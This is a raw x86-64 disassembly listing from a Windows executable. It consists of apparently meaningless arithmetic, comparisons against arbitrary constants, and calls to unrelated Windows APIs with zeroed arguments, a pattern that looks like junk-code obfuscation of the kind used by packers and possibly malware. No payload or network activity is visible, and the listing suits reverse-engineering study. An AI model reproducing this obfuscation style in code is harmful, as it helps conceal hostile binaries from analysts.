mov qword [0x1400dd008], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, word [rsp + 0x73c]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
xor eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
and eax, ecx
mov byte [rsp + 0xc7], al
mov eax, dword [rsp + 0x1a9c]
add eax, 0xe0
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
movabs rax, 0x7377d9852c5f405a
mov rcx, qword [0x1400dd008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov eax, dword [rsp + 0x1b3c]
mov ecx, dword [rsp + 0x1b14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0x1a3c]
mov ecx, dword [rsp + 0x1b5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a40], eax
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x734]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x734]
shl eax, cl
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x730]
sar eax, cl
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1b14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
movabs rax, 0x2465dcfcb0f1164b
mov rcx, qword [0x1400dd008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x33b0]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
movzx eax, word [rsp + 0x738]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x32d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x32c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov byte [rcx], al
mov rax, qword [rsp + 0x3288]
mov rcx, qword [rsp + 0x32f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
nop
jmp 0x140006383
mov rax, qword [rsp + 0x3358]
movzx eax, byte [rax]
mov byte [rsp + 0x1b68], al
cmp byte [rsp + 0x1b68], 0x17
je 0x1400067b5
cmp byte [rsp + 0x1b68], 0x4d
je 0x1400068ea
jmp 0x140006955
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b3c]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x1ad4]
mov edx, dword [rsp + 0x1b14]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x1400068c7
mov rax, qword [rsp + 0x32f8]
mov qword [rsp + 0x33d0], rax
movabs rax, 0x9ecdd72b1fb4e4e7
cmp qword [rsp + 0x33d0], rax
je 0x1400068a5
movabs rax, 0xad414ab77e5d1bba
cmp qword [rsp + 0x33d0], rax
je 0x140006823
jmp 0x1400068c5
mov eax, dword [rsp + 0x1acc]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x33d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x33d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1b14], eax
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a40]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x33e0]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov dword [rsp + 0x1b20], eax
movabs rax, 0x307d30a2614f650a
mov rcx, qword [0x1400dd008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
jmp 0x1400068c5
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x734]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
jmp 0x1400068e8
movzx r8d, byte [rsp + 0xc8]
mov rax, qword [rsp + 0x32d0]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400bc550
nop
jmp 0x140006955
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [section..data]
sub eax, ecx
mov byte [rsp + 0xca], al
mov edx, 0x10
mov rcx, qword [rsp + 0x33e8]
call qword [sym.imp.USER32.dll_GetGuiResources]
mov dword [rsp + 0x1b5c], eax
movsx eax, word [rsp + 0x748]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0x8d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov byte [rsp + 0x8d], al
mov eax, dword [rsp + 0x1acc]
mov dword [rsp + 0x1b6c], eax
movabs rax, 0x5b0c468bfb84e737
mov rcx, qword [rsp + 0x3368]
and rcx, rax
mov rax, rcx
cmp rax, qword [0x1400dd008]
je 0x140006abf
lea rax, [rsp + 0x3368]
mov qword [rsp + 0x33f0], rax
mov rax, qword [rsp + 0x3288]
mov qword [rsp + 0x33f8], rax
movabs rax, 0x3485232000000000
cmp qword [rsp + 0x33f8], rax
je 0x140006a05
jmp 0x140006aa2
mov rax, qword [rsp + 0x3390]
mov ecx, dword [rsp + 0x1a40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0x33b0]
mov eax, dword [rax]
mov dword [rsp + 0x1b70], eax
cmp dword [rsp + 0x1b70], 0x7925ed84
je 0x140006a3f
jmp 0x140006a8f
mov ecx, 0x45
call qword [sym.imp.USER32.dll_SetCaretBlinkTime]
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xc7]
mov rax, qword [rsp + 0x33f0]
mov r8, qword [rax]
mov rax, qword [rsp + 0x33a8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x3368]
call fcn.1400bb700
nop
jmp 0x140006aa0
mov rax, qword [rsp + 0x3280]
movzx eax, byte [rax]
mov byte [0x1400dded2], al
jmp 0x140006abf
movzx eax, word [rsp + 0x744]
movzx ecx, word [rsp + 0x738]
xor eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b6c]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x3400], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3400]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x1b3c]
mov edx, dword [rsp + 0x1ad4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140006b73
lea rax, [rsp + 0xc5]
mov qword [rsp + 0x3408], rax
lea rax, [rsp + 0x738]
mov qword [rsp + 0x3410], rax
mov dword [rsp + 0x1b74], 0xa637
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x748], ax
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
sub eax, ecx
mov word [rsp + 0x73c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
nop
jmp 0x140006c8a
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0x32e0]
movzx ecx, byte [rcx]
movzx edx, byte [0x1400dded2]
add ecx, edx
cmp eax, ecx
jl 0x140006c8a
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x3288]
mov qword [rsp + 0x3418], rax
movabs rax, 0x8aac07653e2247e8
cmp qword [rsp + 0x3418], rax
je 0x140006c70
movabs rax, 0xbadae4ad40b67cda
cmp qword [rsp + 0x3418], rax
je 0x140006bfe
jmp 0x140006c8a
mov edx, 0x9a
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_GetClassWord]
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [0x1400dd008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3368], rax
movzx eax, word [rsp + 0x734]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc6]
movsx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov byte [section..data], al
jmp 0x140006c8a
mov edx, 0x2c
mov rcx, qword [rsp + 0x3308]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x1b28], eax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
and eax, ecx
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
mov dword [rsp + 0x1b78], ecx
movsx edx, word [rsp + 0x740]
movzx ecx, dl
mov edx, dword [rsp + 0x1b78]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140006ce5
mov eax, dword [rsp + 0x1a48]
movzx ecx, al
mov eax, dword [rsp + 0x1a40]
shr eax, cl
mov dword [rsp + 0x1a70], eax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1b7c], al
cmp byte [rsp + 0x1b7c], 0
je 0x140006d11
cmp byte [rsp + 0x1b7c], 0x3a
je 0x1400bb0b0
jmp 0x1400bb1ad
mov rax, qword [rsp + 0x32f8]
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
mov dword [rsp + 0x1b80], eax
cmp dword [rsp + 0x1b80], 0x1de
je 0x140006d42
jmp 0x140006d82
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x730]
xor eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x33a8]
movzx eax, byte [rax]
movzx ecx, byte [0x1400dded2]
sar eax, cl
mov byte [rsp + 0xc5], al
jmp 0x1400baf66
cmp dword [rsp + 0x1abc], 0x43aa
je 0x1400071cb
mov eax, dword [rsp + 0x1abc]
add eax, 0xa7
mov dword [rsp + 0x1abc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1acc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b6c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x33b0]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a48], eax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov byte [section..data], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [0x1400dd008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x3408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov byte [rsp + 0xc8], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov word [rsp + 0x73c], ax
movzx eax, word [rsp + 0x738]
mov rcx, qword [rsp + 0x33a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3410]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov rax, qword [rsp + 0x3390]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x33b0]
mov qword [rsp + 0x3428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3428]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1938]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b6c], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1acc]
mov rcx, qword [rsp + 0x32c0]
mov qword [rsp + 0x3430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3430]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x748]
and eax, ecx
mov word [rsp + 0x73c], ax
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x33a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc5]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0xc6]
sub eax, ecx
mov byte [rsp + 0xca], al
movsx eax, word [rsp + 0x748]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1938]
mov dword [rsp + 0x1ad4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3368]
add rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
mov rax, qword [rsp + 0x3390]
mov rcx, qword [rsp + 0x33b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a40], eax
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x734], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x744], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, word [rsp + 0x744]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x738], ax
movsx eax, word [0x1400dded0]
mov rcx, qword [rsp + 0x3318]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov rax, qword [0x1400dd008]
mov rcx, qword [rsp + 0x3368]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
nop
jmp 0x140006d82
mov rax, qword [rsp + 0x32c0]
mov eax, dword [rax]
mov dword [rsp + 0x1b84], eax
cmp dword [rsp + 0x1b84], 0
je 0x14000725c
cmp dword [rsp + 0x1b84], 0x44be13fc
je 0x1400071f8
jmp 0x1400baf40
mov r8d, 1
mov rdx, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.USER32.dll_GetNextDlgGroupItem]
mov qword [rsp + 0x32b8], rax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
jmp 0x1400baf40
movsx eax, word [rsp + 0x73c]
movsx ecx, word [rsp + 0x748]
sub eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
lea rax, [rsp + 0xc7]
mov qword [rsp + 0x3438], rax
cmp dword [rsp + 0x1a60], 0xeaf0
je 0x14000761f
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x3410]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x738]
add eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x3320]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, byte [0x1400dded2]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x33b0]
mov rcx, qword [rsp + 0x32f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [rsp + 0x1a60]
add eax, 0x57
mov dword [rsp + 0x1a60], eax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x1a3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [0x1400dd008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x33a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xc8], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3278]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x730], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x8d], al
movzx eax, word [rsp + 0x738]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x734], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x748]
and eax, ecx
mov rcx, qword [rsp + 0x32d0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov eax, dword [rsp + 0x1ad4]
mov dword [rsp + 0x1acc], eax
mov rax, qword [rsp + 0x32f0]
mov ecx, dword [rsp + 0x1b5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x33b0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3410]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
mov rax, qword [rsp + 0x3278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x73c]
sub eax, ecx
mov rcx, qword [rsp + 0x3278]
mov word [rcx], ax
mov rax, qword [rsp + 0x3320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3358]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xbd], al
movzx eax, word [rsp + 0x734]
movzx ecx, word [rsp + 0x744]
sub eax, ecx
mov word [rsp + 0x738], ax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [0x1400dd008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3368], rax
mov eax, dword [rsp + 0x1a3c]
movzx ecx, al
mov eax, dword [rsp + 0x1b5c]
shr eax, cl
mov rcx, qword [rsp + 0x3390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32f8]
mov rcx, qword [rsp + 0x3420]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x33c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0x1ad4]
movzx ecx, al
mov eax, dword [rsp + 0x1b3c]
shl eax, cl
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
jmp 0x140007289
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov dword [rsp + 0x1b88], 0xcea
cmp dword [rsp + 0x1b54], 0xb43f
jae 0x1400079eb
mov rax, qword [rsp + 0x33a0]
movzx eax, word [rax]
movzx ecx, word [0x1400dd004]
sub eax, ecx
mov word [rsp + 0x744], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movzx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0x3438]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc5], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
add eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3318]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x748]
sub eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3408]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3280]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x32c0]
mov ecx, dword [rsp + 0x1b3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33f0]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x33f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x3288]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x33f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3368]
add rcx, rax
mov rax, rcx
mov qword [0x1400dd008], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x1b54]
add eax, 0x5a
mov dword [rsp + 0x1b54], eax
mov rax, qword [rsp + 0x32d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x748]
and eax, ecx
mov rcx, qword [rsp + 0x3318]
mov word [rcx], ax
movsx eax, byte [rsp + 0xbd]
movsx ecx, byte [rsp + 0xca]
xor eax, ecx
mov rcx, qword [rsp + 0x3358]
mov byte [rcx], al
movzx eax, byte [0x1400dded2]
movzx ecx, byte [rsp + 0xc7]
or eax, ecx
mov rcx, qword [rsp + 0x3408]
mov byte [rcx], al
mov rax, qword [rsp + 0x3358]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc6]
shl eax, cl
mov byte [rsp + 0xca], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, word [rsp + 0x738]
movzx ecx, word [0x1400dd004]
sar eax, cl
mov word [rsp + 0x734], ax
